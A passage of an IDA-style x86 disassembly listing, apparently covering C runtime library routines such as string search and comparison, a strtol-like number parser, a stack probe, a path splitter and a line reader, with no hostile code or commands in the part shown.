		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C0C4
		jmp	short loc_41C098
; ---------------------------------------------------------------------------


loc_41C0E7:				; CODE XREF: sub_41C080+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C726
; ---------------------------------------------------------------------------


loc_41C0F3:				; CODE XREF: sub_41C080+49j
					; sub_41C080+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C0FA:				; CODE XREF: sub_41C080+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C100	proc near		; CODE XREF: ___:00401338p
					; sub_401AC7+1C08p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C13F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C14C
; ---------------------------------------------------------------------------


loc_41C13F:				; CODE XREF: sub_41C100+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C14C:				; CODE XREF: sub_41C100+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C151	proc near		; CODE XREF: ___:00401318p
					; sub_401AC7+2164p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B960
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C18C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C18C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C188
		push	2
		push	ebx
		push	esi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C188:				; CODE XREF: sub_41C151+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C196
; ---------------------------------------------------------------------------


loc_41C18C:				; CODE XREF: sub_41C151+18j
					; sub_41C151+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C196
		and	byte ptr [eax],	0


loc_41C196:				; CODE XREF: sub_41C151+39j
					; sub_41C151+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C20E


loc_41C1A9:				; CODE XREF: sub_41C151+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DAC81[edx], 4
		jz	short loc_41C1BA
		inc	eax
		jmp	short loc_41C1D4
; ---------------------------------------------------------------------------


loc_41C1BA:				; CODE XREF: sub_41C151+64j
		cmp	cl, 2Fh
		jz	short loc_41C1CE
		cmp	cl, 5Ch
		jz	short loc_41C1CE
		cmp	cl, 2Eh
		jnz	short loc_41C1D4
		mov	[ebp+var_4], eax
		jmp	short loc_41C1D4
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C151+6Cj
					; sub_41C151+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C1D4:				; CODE XREF: sub_41C151+67j
					; sub_41C151+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C1A9
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C20E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C209
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C1F2
		mov	edi, esi


loc_41C1F2:				; CODE XREF: sub_41C151+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4201BE
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C209:				; CODE XREF: sub_41C151+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C218
; ---------------------------------------------------------------------------


loc_41C20E:				; CODE XREF: sub_41C151+56j
					; sub_41C151+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C218
		and	byte ptr [ecx],	0


loc_41C218:				; CODE XREF: sub_41C151+BBj
					; sub_41C151+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C26B
		cmp	edi, ebx
		jb	short loc_41C26B
		cmp	[ebp+arg_C], 0
		jz	short loc_41C248
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C231
		mov	edi, esi


loc_41C231:				; CODE XREF: sub_41C151+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4201BE
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C248:				; CODE XREF: sub_41C151+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C293
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C258
		mov	esi, eax


loc_41C258:				; CODE XREF: sub_41C151+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C293
; ---------------------------------------------------------------------------


loc_41C26B:				; CODE XREF: sub_41C151+CCj
					; sub_41C151+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C289
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C27A
		mov	esi, eax


loc_41C27A:				; CODE XREF: sub_41C151+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C289:				; CODE XREF: sub_41C151+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C293
		and	byte ptr [eax],	0


loc_41C293:				; CODE XREF: sub_41C151+FCj
					; sub_41C151+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C151	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C2A0	proc near		; CODE XREF: sub_40194F+8p
					; sub_401AC7+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C2C0


loc_41C2AC:				; CODE XREF: sub_41C2A0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C2AC


loc_41C2C0:				; CODE XREF: sub_41C2A0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C2A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2CF	proc near		; CODE XREF: sub_401AC7+73E0p
					; sub_401AC7+740Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C2E3
		xor	eax, eax
		jmp	short loc_41C319
; ---------------------------------------------------------------------------


loc_41C2E3:				; CODE XREF: sub_41C2CF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C313
		mov	esi, [ebp+arg_8]


loc_41C2EC:				; CODE XREF: sub_41C2CF+42j
		dec	dword ptr [esi+4]
		js	short loc_41C2FB
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C302
; ---------------------------------------------------------------------------


loc_41C2FB:				; CODE XREF: sub_41C2CF+20j
		push	esi
		call	sub_41EF78
		pop	ecx


loc_41C302:				; CODE XREF: sub_41C2CF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C31D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C313
		dec	[ebp+arg_4]
		jnz	short loc_41C2EC


loc_41C313:				; CODE XREF: sub_41C2CF+18j
					; sub_41C2CF+3Dj ...
		and	byte ptr [edi],	0


loc_41C316:				; CODE XREF: sub_41C2CF+55j
		mov	eax, ebx
		pop	esi


loc_41C319:				; CODE XREF: sub_41C2CF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C31D:				; CODE XREF: sub_41C2CF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C313
		xor	ebx, ebx
		jmp	short loc_41C316
sub_41C2CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C326	proc near		; CODE XREF: sub_41C52E+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C33E:				; CODE XREF: sub_41C326+46j
		cmp	dword_43A88C, 1
		jle	short loc_41C356
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C365
; ---------------------------------------------------------------------------


loc_41C356:				; CODE XREF: sub_41C326+1Fj
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C365:				; CODE XREF: sub_41C326+2Ej
		test	eax, eax
		jz	short loc_41C36E
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C33E
; ---------------------------------------------------------------------------


loc_41C36E:				; CODE XREF: sub_41C326+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C37C
		or	[ebp+arg_C], 2
		jmp	short loc_41C381
; ---------------------------------------------------------------------------


loc_41C37C:				; CODE XREF: sub_41C326+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C387


loc_41C381:				; CODE XREF: sub_41C326+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C387:				; CODE XREF: sub_41C326+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C51E
		cmp	eax, 1
		jz	loc_41C51E
		cmp	eax, 24h
		jg	loc_41C51E
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C3CF
		cmp	bl, 30h
		jz	short loc_41C3B9
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C3EB
; ---------------------------------------------------------------------------


loc_41C3B9:				; CODE XREF: sub_41C326+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C3CC
		cmp	al, 58h
		jz	short loc_41C3CC
		mov	[ebp+arg_8], 8
		jmp	short loc_41C3EB
; ---------------------------------------------------------------------------


loc_41C3CC:				; CODE XREF: sub_41C326+97j
					; sub_41C326+9Bj
		mov	[ebp+arg_8], ecx


loc_41C3CF:				; CODE XREF: sub_41C326+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C3EB
		cmp	bl, 30h
		jnz	short loc_41C3EB
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C3E3
		cmp	al, 58h
		jnz	short loc_41C3EB


loc_41C3E3:				; CODE XREF: sub_41C326+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C3EB:				; CODE XREF: sub_41C326+91j
					; sub_41C326+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C3FB:				; CODE XREF: sub_41C326+16Cj
		cmp	dword_43A88C, 1
		movzx	esi, bl
		jle	short loc_41C413
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C41E
; ---------------------------------------------------------------------------


loc_41C413:				; CODE XREF: sub_41C326+DFj
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C41E:				; CODE XREF: sub_41C326+EBj
		test	eax, eax
		jz	short loc_41C42A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C45C
; ---------------------------------------------------------------------------


loc_41C42A:				; CODE XREF: sub_41C326+FAj
		cmp	dword_43A88C, 1
		jle	short loc_41C43E
		push	edi
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C449
; ---------------------------------------------------------------------------


loc_41C43E:				; CODE XREF: sub_41C326+10Bj
		mov	eax, off_43A680
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C449:				; CODE XREF: sub_41C326+116j
		test	eax, eax
		jz	short loc_41C497
		movsx	eax, bl
		push	eax
		call	sub_420248
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C45C:				; CODE XREF: sub_41C326+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C497
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C481
		jnz	short loc_41C47B
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C481


loc_41C47B:				; CODE XREF: sub_41C326+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C48A
; ---------------------------------------------------------------------------


loc_41C481:				; CODE XREF: sub_41C326+145j
					; sub_41C326+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C48A:				; CODE XREF: sub_41C326+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C3FB
; ---------------------------------------------------------------------------


loc_41C497:				; CODE XREF: sub_41C326+125j
					; sub_41C326+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C4B5
		test	edx, edx
		jz	short loc_41C4AF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C4AF:				; CODE XREF: sub_41C326+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C502
; ---------------------------------------------------------------------------


loc_41C4B5:				; CODE XREF: sub_41C326+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C4DB
		test	cl, 1
		jnz	short loc_41C502
		and	ecx, 2
		jz	short loc_41C4D2
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C4DB


loc_41C4D2:				; CODE XREF: sub_41C326+1A1j
		test	ecx, ecx
		jnz	short loc_41C502
		cmp	[ebp+var_8], eax
		jbe	short loc_41C502


loc_41C4DB:				; CODE XREF: sub_41C326+197j
					; sub_41C326+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4D9714, 22h
		jz	short loc_41C4F1
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C502
; ---------------------------------------------------------------------------


loc_41C4F1:				; CODE XREF: sub_41C326+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C502:				; CODE XREF: sub_41C326+18Dj
					; sub_41C326+19Cj ...
		test	edx, edx
		jz	short loc_41C50B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C50B:				; CODE XREF: sub_41C326+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C519
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C519:				; CODE XREF: sub_41C326+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C529
; ---------------------------------------------------------------------------


loc_41C51E:				; CODE XREF: sub_41C326+66j
					; sub_41C326+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C527
		mov	[eax], edi


loc_41C527:				; CODE XREF: sub_41C326+1FDj
		xor	eax, eax


loc_41C529:				; CODE XREF: sub_41C326+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C326	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C52E	proc near		; CODE XREF: sub_401AC7+6131p
					; sub_401AC7+6962p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C326
		add	esp, 10h
		retn
sub_41C52E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C545	proc near		; CODE XREF: sub_401AC7+58F7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26801DBh
		nop
		test	eax, eax
		jnz	short loc_41C55B
		nop
		call	near ptr 26807F9h
		jmp	short loc_41C55D
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C545+Cj
		xor	eax, eax


loc_41C55D:				; CODE XREF: sub_41C545+14j
		test	eax, eax
		jz	short loc_41C56C
		push	eax
		call	sub_420314
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C56C:				; CODE XREF: sub_41C545+1Aj
		xor	eax, eax
		retn
sub_41C545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C56F	proc near		; CODE XREF: sub_401AC7+584Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_42037B
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F5D4
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420408
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C56F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5B0	proc near		; CODE XREF: sub_401AC7+1E0Fp
					; sub_401AC7+1E2Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C5D1
		xor	eax, eax
		jmp	short loc_41C5D3
; ---------------------------------------------------------------------------


loc_41C5D1:				; CODE XREF: sub_41C5B0+1Bj
		mov	eax, edi


loc_41C5D3:				; CODE XREF: sub_41C5B0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5E0	proc near		; CODE XREF: sub_401AC7+84Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C611
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C60F
		jz	short loc_41C611
		dec	ecx
		dec	ecx


loc_41C60F:				; CODE XREF: sub_41C5E0+29j
		not	ecx


loc_41C611:				; CODE XREF: sub_41C5E0+9j
					; sub_41C5E0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C620	proc near		; CODE XREF: sub_401AC7+42Ap
					; sub_401AC7+2FEDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C691
sub_41C620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C630	proc near		; CODE XREF: sub_401AC7+433p
					; sub_401AC7+7468p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C64C


loc_41C63D:				; CODE XREF: sub_41C630+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C67F
		test	ecx, 3
		jnz	short loc_41C63D


loc_41C64C:				; CODE XREF: sub_41C630+Bj
					; sub_41C630+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C64C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C68E
		test	ah, ah
		jz	short loc_41C689
		test	eax, 0FF0000h
		jz	short loc_41C684
		test	eax, 0FF000000h
		jz	short loc_41C67F
		jmp	short loc_41C64C
; ---------------------------------------------------------------------------


loc_41C67F:				; CODE XREF: sub_41C630+12j
					; sub_41C630+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C684:				; CODE XREF: sub_41C630+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C689:				; CODE XREF: sub_41C630+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C68E:				; CODE XREF: sub_41C630+39j
		lea	edi, [ecx-4]


loc_41C691:				; CODE XREF: sub_41C620+5j
					; sub_41C630+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C6B6


loc_41C69D:				; CODE XREF: sub_41C630+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C708
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C69D
		jmp	short loc_41C6B6
; ---------------------------------------------------------------------------


loc_41C6B1:				; CODE XREF: sub_41C630+9Ej
					; sub_41C630+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C6B6:				; CODE XREF: sub_41C630+6Bj
					; sub_41C630+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C6B1
		test	dl, dl
		jz	short loc_41C708
		test	dh, dh
		jz	short loc_41C6FF
		test	edx, 0FF0000h
		jz	short loc_41C6F2
		test	edx, 0FF000000h
		jz	short loc_41C6EA
		jmp	short loc_41C6B1
; ---------------------------------------------------------------------------


loc_41C6EA:				; CODE XREF: sub_41C630+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C6F2:				; CODE XREF: sub_41C630+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C630+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C708:				; CODE XREF: sub_41C630+72j
					; sub_41C630+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C630	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C720


loc_41C710:				; CODE XREF: sub_41C720+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C720
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C720	proc near		; CODE XREF: sub_401AC7+40Fp
					; sub_401AC7+4B6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C726:				; CODE XREF: sub_41C080+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C74B


loc_41C738:				; CODE XREF: sub_41C720+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C710
		test	cl, cl
		jz	short loc_41C794
		test	edx, 3
		jnz	short loc_41C738


loc_41C74B:				; CODE XREF: sub_41C720+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C756:				; CODE XREF: sub_41C720+61j
					; sub_41C720+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C798
		and	eax, 81010100h
		jz	short loc_41C756
		and	eax, 1010100h
		jnz	short loc_41C792
		and	esi, 80000000h
		jnz	short loc_41C756


loc_41C792:				; CODE XREF: sub_41C720+68j
					; sub_41C720+81j ...
		pop	esi
		pop	edi


loc_41C794:				; CODE XREF: sub_41C720+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C798:				; CODE XREF: sub_41C720+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C7D5
		test	al, al
		jz	short loc_41C792
		cmp	ah, bl
		jz	short loc_41C7CE
		test	ah, ah
		jz	short loc_41C792
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C7C7
		test	al, al
		jz	short loc_41C792
		cmp	ah, bl
		jz	short loc_41C7C0
		test	ah, ah
		jz	short loc_41C792
		jmp	short loc_41C756
; ---------------------------------------------------------------------------


loc_41C7C0:				; CODE XREF: sub_41C720+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7C7:				; CODE XREF: sub_41C720+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7CE:				; CODE XREF: sub_41C720+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7D5:				; CODE XREF: sub_41C720+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C7E0	proc near		; CODE XREF: sub_401AC7+1AEp
					; sub_401AC7+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C82C


loc_41C7F0:				; CODE XREF: sub_41C7E0+3Cj
					; sub_41C7E0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+1]
		jnz	short loc_41C824
		or	ah, ah
		jz	short loc_41C820
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+3]
		jnz	short loc_41C824
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C7F0
		mov	edi, edi


loc_41C820:				; CODE XREF: sub_41C7E0+18j
					; sub_41C7E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C824:				; CODE XREF: sub_41C7E0+14j
					; sub_41C7E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C82C:				; CODE XREF: sub_41C7E0+Ej
		test	edx, 1
		jz	short loc_41C848
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C824
		inc	ecx
		or	al, al
		jz	short loc_41C820
		test	edx, 2
		jz	short loc_41C7F0


loc_41C848:				; CODE XREF: sub_41C7E0+52j
		mov	ax, [edx]
		add	edx, 2
